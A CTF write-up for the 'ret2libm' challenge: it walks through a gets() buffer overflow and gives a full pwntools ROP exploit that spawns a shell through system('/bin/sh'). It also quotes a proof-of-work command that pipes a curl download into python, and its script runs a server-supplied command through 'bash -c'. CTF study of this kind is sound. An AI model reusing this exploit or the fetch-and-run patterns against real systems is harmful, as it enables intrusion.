Info 49 Solves (4.7% of users) 392 Points (500 Points)
description I need to make a pwn? Let’s go with that standard warmup rop thing… what was it… ret2libm?nc ret2libm.chal.irisc.tf 10001
Hint! The challenge server may be acting up. If your solution works locally and on the docker but not on remote, please open a ticket!
By: sera
for player 1 2 3 4 5 6 . ├── chal ├── chal.c ├── libc-2.27.so ├── libm-2.27.so └── Makefile
1 chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2c6fac9007a0e13f2ca1978d85d974afb7fd03d9, not stripped
This challenge use a libc-2.27.so
So enviroment seems to Ubuntu 18.04 that different to me. That enviroment is different from mine, I downloaded ld
file with docker. And then I patched it.
1 2 3 4 5 [jir4vvit@arch ret2libm]$ ldd chal linux-vdso.so.1 (0x00007fff13dc7000) ./libm-2.27.so (0x00007fbe43800000) ./libc-2.27.so (0x00007fbe43400000) ./ld-2.27.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fbe43e9a000)
Analysis Mitigation 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
Source Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <math.h> #include <stdio.h> int main (int argc, char * argv) { setvbuf(stdin , NULL , _IONBF, 0 ); setvbuf(stdout , NULL , _IONBF, 0 ); char yours[8 ]; printf ("Check out my pecs: %p\n" , fabs ); printf ("How about yours? " ); gets(yours); printf ("Let's see how they stack up." ); return 0 ; }
The challenge leaks the pointer to a fabs
in libm.
Vulnerability The gets()
functions cause to Buffer overflow
. We can change the RIP
.
Exploit Exploit Scenario Just do it!
Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *import subprocesscontext.arch = 'amd64' context.log_level = 'DEBUG' e = ELF('./chal' ) p = remote('ret2libm.chal.irisc.tf' , 10001 ) libc = ELF('./libc-2.27.so' ) libm = ELF('./libm-2.27.so' ) def server (): p.recvuntil('python3' ) cmd = b'python3' + p.recvline()[:-1 ] print (cmd) res = subprocess.check_output(['bash' , '-c' , cmd]) print (res) p.sendlineafter('Solution?' , res) server() p.recvuntil('pecs:' ) leak = int (p.recvline(), 16 ) info(hex (leak)) libm_base = leak - libm.sym['fabsf64' ] info(hex (libm_base)) libc.address = libm_base - 0x3f1000 info(hex (libc.address)) payload = b'' payload += b'A' * (0x8 + 0x8 ) payload += p64(libm_base + 0xbc37 ) payload += p64(next (libc.search(b'/bin/sh\x00' ))) payload += p64(libm_base + 0x2a2 ) payload += p64(libc.sym['system' ]) p.sendlineafter('yours?' , payload) p.interactive()
In this CTF, Perhaps to prevent brute force, the following process is added when connecting to the server.
1 2 3 4 5 6 7 == proof-of-work: enabled == please solve a pow first You can run the solver with: python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.ADQ6.AADPFiV0veQZlf8vJux482QM =================== Solution?
And In this challenge, We can use onegadget. :-)
Flag 1 irisctf{oh_its_ret2libc_anyway}